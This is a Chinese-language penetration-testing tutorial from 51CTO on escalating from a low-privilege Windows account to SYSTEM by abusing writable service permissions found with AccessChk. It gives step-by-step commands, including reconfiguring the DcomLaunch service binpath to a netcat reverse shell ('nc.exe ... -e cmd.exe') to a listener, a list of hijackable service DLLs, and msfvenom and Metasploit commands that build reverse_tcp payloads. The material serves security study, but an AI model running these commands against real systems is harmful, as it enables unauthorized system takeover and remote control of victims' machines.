Windows低權(quán)限進(jìn)程或服務(wù)提權(quán)
原創(chuàng)【51CTO.com原創(chuàng)稿件】在實(shí)際滲透過程中,有可能獲取了該操作系統(tǒng)下的一個(gè)普通用戶帳號(hào)權(quán)限,或者webshell權(quán)限,通過低權(quán)限用戶進(jìn)行越權(quán),有可能獲取系統(tǒng)權(quán)限;其利用原理主要是通過微軟的AccessChk工具軟件,配合sc來操作服務(wù),通過服務(wù)的重啟而得到權(quán)限。
一、AccessChk簡(jiǎn)介及使用
1. AccessChk簡(jiǎn)介
AccessChk是Sysinternals中的一個(gè)小工具,目前最新版本為6.1,新版本存在一些bug,在實(shí)際使用時(shí)會(huì)提示需要多個(gè)dll文件,在本案例中使用的是3.0版本,其官方網(wǎng)站下載地址:https://technet.microsoft.com/en-us/Sysinternals/bb664922.aspx
AccessChk主要用來檢查用戶和用戶組對(duì)文件,目錄,注冊(cè)表項(xiàng),全局對(duì)象和系統(tǒng)服務(wù)的權(quán)限詳細(xì)情況,在實(shí)際配置過程中如果權(quán)限設(shè)置失誤,則就可以被用來提權(quán)。
2. 使用AccessChk
命令行下第一次運(yùn)行需要同意一個(gè)許可,如果不想出現(xiàn)那個(gè)提示窗口,則可以執(zhí)行“accesschk.exe /accepteula”。其主要參數(shù)如下:
- usage: accesschk [-s][-e][-u][-r][-w][-n][-v][[-a]|[-k]|[-p [-f] [-t]][-o [-t <object type>]][-c]|[-d]] [[-l [-i]]|[username]] <file, directory, registry key, process, service, object>
這個(gè)命令分為三個(gè)部分accesschk是程序名;第一個(gè)參數(shù)有9個(gè)可選項(xiàng)[],部分可選項(xiàng)里還有可選參數(shù);第二個(gè)參數(shù)是一個(gè)目標(biāo),這個(gè)目標(biāo)可以是文件,目錄,注冊(cè)項(xiàng),進(jìn)程,服務(wù),對(duì)象。
- -a 名稱是Windows帳戶權(quán)限。指定“*”作為顯示所有分配給用戶的權(quán)限名稱,只有指定用戶名稱或者組時(shí)才顯示指派的權(quán)限。
- -c 顯示服務(wù)名稱,“*”顯示所有服務(wù)。
- -d 僅處理目錄或頂級(jí)鍵
- -e 只顯示顯式設(shè)置完整性級(jí)別(Windows Vista和更高版本系統(tǒng))
- -f 顯示包含組和特權(quán)的完整過程令牌信息
- -k 注冊(cè)表鍵值,例如 hklm\software
- -i 在取消完全訪問控制列表時(shí)忽略只繼承繼承符的對(duì)象
- -l 顯示全部訪問控制列表。添加“-I”忽略繼承ACEs
- -n 僅顯示沒有訪問權(quán)限的對(duì)象
- -o 名稱是對(duì)象管理器命名空間中的一個(gè)對(duì)象(默認(rèn)是root)。查看一個(gè)目錄的內(nèi)容,用反斜線或-S-T和對(duì)象類型指定名稱
- -p 進(jìn)程名或者PID,例如cmd.exe (使用 '*'顯示所有的進(jìn)程). 加“-f ”顯示包括組和特權(quán)的所有進(jìn)程令牌信息,加“-t”顯示線程。
- -q 省略標(biāo)識(shí)
- -r 顯示對(duì)象只讀屬性
- -s 遞歸
- -t 對(duì)象類型篩選器
- -u 抑制錯(cuò)誤
- -v 冗長(zhǎng)(包括Windows Vista完整性級(jí)別)
- -w 僅顯示具有寫訪問的對(duì)象
(1)查看用戶服務(wù),查看管理員組、users組下所有服務(wù):
- accesschk administrators -c *
- accesschk users -c *
如圖1所示,可以對(duì)某個(gè)用戶進(jìn)行查看,主要用來提權(quán)用,例如查看simeon用戶具備讀寫服務(wù)器權(quán)限:
accesschk simeon -c * | find "RW" 或者accesschk simeon -cw *
圖1查看指定用戶的服務(wù)權(quán)限
(2)查看用戶組對(duì)系統(tǒng)服務(wù)具備寫權(quán)限,如果有則會(huì)顯示,否則會(huì)提示“No matching objects found”。
- accesschk.exe -uwcqv "Authenticated Users" *
- accesschk.exe -uwcqv "Administrators" *
- accesschk.exe -uwcqv "Backup Operators" *
- accesschk.exe -uwcqv "Distributed COM Users" *
- accesschk.exe -uwcqv "Guests" *
- accesschk.exe -uwcqv "HelpServicesGroup" *
- accesschk.exe -uwcqv "IIS_WPG" *
- accesschk.exe -uwcqv "Network Configuration Operators" *
- accesschk.exe -uwcqv "Performance Monitor Users" *
- accesschk.exe -uwcqv "Performance Log Users" *
- accesschk.exe -uwcqv "Power Users" *
- accesschk.exe -uwcqv "Print Operators" *
- accesschk.exe -uwcqv "Remote Desktop Users" *
- accesschk.exe -uwcqv "Replicator" *
- accesschk.exe -uwcqv "TelnetClients" *
- accesschk.exe -uwcqv "Users" *
二、獲取低權(quán)限可操作服務(wù)名稱
1. 實(shí)驗(yàn)環(huán)境
(1)本次實(shí)驗(yàn)環(huán)境為Windows 2003 Sever SP3,用戶simeon屬于power user組,可以登錄系統(tǒng)。
(2)IP地址:192.168.52.175
(3)監(jiān)聽服務(wù)IP:192.168.52.215
(4)nc.exe復(fù)制到c:\windows\temp目錄
2. 獲取可讀寫的服務(wù)
執(zhí)行命令以下命令獲取Power Users組可以操作的服務(wù)名稱信息,如圖2所示。
- accesschk.exe -uwcqv "Power Users" *
執(zhí)行后顯示結(jié)果如下:
- RW DcomLaunch
- SERVICE_QUERY_STATUS
- SERVICE_QUERY_CONFIG
- SERVICE_CHANGE_CONFIG
- SERVICE_INTERROGATE
- SERVICE_ENUMERATE_DEPENDENTS
- READ_CONTROL
- RW kdc
- SERVICE_QUERY_STATUS
- SERVICE_QUERY_CONFIG
- SERVICE_CHANGE_CONFIG
- SERVICE_INTERROGATE
- SERVICE_ENUMERATE_DEPENDENTS
- READ_CONTROL
圖2獲取可讀寫的服務(wù)名稱信息
3. 查詢服務(wù)詳細(xì)信息
服務(wù)名稱為“DcomLaunch”、“kdc”可以被simeon用戶進(jìn)行操作。使用sc qc kdc命令查詢kdc服務(wù)的詳細(xì)信息,如圖3所示,可以看到該服務(wù)是以系統(tǒng)權(quán)限運(yùn)行的。
圖3查詢kdc服務(wù)詳細(xì)信息
4 .決定使用那個(gè)服務(wù)
執(zhí)行命令“net start”查看系統(tǒng)目前已經(jīng)啟動(dòng)的服務(wù),也可以使用以下命令直接獲取。如圖4所示,在啟動(dòng)服務(wù)列表中發(fā)現(xiàn)“DCOM Server Process Launcher”服務(wù)名稱。
- net start | find "DCOM Server Process Launcher"
- net start | find "Kerberos Key Distribution Center"
圖4獲取服務(wù)名稱
5. 獲取服務(wù)名稱對(duì)應(yīng)的服務(wù)
使用命令“tasklist /svc”,如圖5所示,獲取“DCOM Server Process Launcher”服務(wù)名稱所對(duì)應(yīng)的服務(wù)“DcomLaunch”。
圖5獲取DcomLaunch服務(wù)信息
三、修改服務(wù)并獲取系統(tǒng)權(quán)限
1. 修改服務(wù)參數(shù)binpath值
使用sc命令對(duì)服務(wù)進(jìn)行修改:
- sc config DcomLaunch binpath= "C:\windows\temp\nc.exe -nv 192.168.52.215 4433 -e C:\WINDOWS\System32\cmd.exe"
如圖6所示,執(zhí)行命令后,顯示修改服務(wù)配置成功,再次使用sc qc DcomLaunch,顯示執(zhí)行文件已經(jīng)更改為:
- C:\windows\temp\nc.exe -nv 192.168.52.215 4433 -e C:\WINDOWS\System32\cmd.exe
查詢服務(wù):sc qc DcomLaunch
圖6修改服務(wù)binpath值
2. 啟動(dòng)服務(wù)
先執(zhí)行 sc config DcomLaunch obj= ".\LocalSystem" password= "",然后通過命令下啟動(dòng),使用“net start DcomLaunch”命令,也可以通過services.msc服務(wù)管理器重啟該服務(wù),如圖7所示。
圖7重新啟動(dòng)服務(wù)
3. 反彈獲取服務(wù)器權(quán)限
如圖8所示,在反彈服務(wù)器中192.168.52.215監(jiān)聽4433端口,成功獲取來自192.168.52.175的反彈,且為系統(tǒng)權(quán)限。
圖8反彈獲取系統(tǒng)權(quán)限
4. 總結(jié)
在Winxp、Windows 2003、Windows 7 (32/64)下有一些dll文件也可以被替換:
- IKE and AuthIP IPsec Keying Modules (IKEEXT) – wlbsctrl.dll
- Windows Media Center Receiver Service (ehRecvr) – ehETW.dll
- Windows Media Center Scheduler Service (ehSched) – ehETW.dll
- Automatic Updates (wuauserv) – ifsproxy.dll
- Remote Desktop Help Session Manager (RDSessMgr)–SalemHook.dll
- Remote Access Connection Manager (RasMan) – ipbootp.dll
- Windows Management Instrumentation (winmgmt) – wbemcore.dll
- Audio Service (STacSV) – SFFXComm.dll SFCOM.DLL
- Intel(R) Rapid Storage Technology (IAStorDataMgrSvc) – DriverSim.dll
- Juniper Unified Network Service(JuniperAccessService) – dsLogService.dll
(1)使用msf生成exe文件
Linux msf監(jiān)聽4433端口
- ./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/my_payload.exe
windows下監(jiān)聽4433端口
- ./msfvenom -p windows/shel/reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/w.exe
其中平臺(tái)參數(shù)(-p)可以設(shè)置為以下的一些,也可以使用msfvenom -l payload | grep 'reverse'進(jìn)行查看和選擇:
- windows/shell/reverse_tcp
- windows/x64/shell_reverse_tcp
- windows/shell_reverse_tcp
- windows/shell/reverse_tcp
(2)在msf上面執(zhí)行
- set payload windows/meterpreter/reverse_tcp
- show options
- set lhost 192.168.52.215
- set lport 4433
- run 0
(3)將生成的/tmp/my_payload.exe按照本文上面的方法執(zhí)行后即可得到反彈的webshell
【51CTO原創(chuàng)稿件,合作站點(diǎn)轉(zhuǎn)載請(qǐng)注明原文作者和出處為51CTO.com】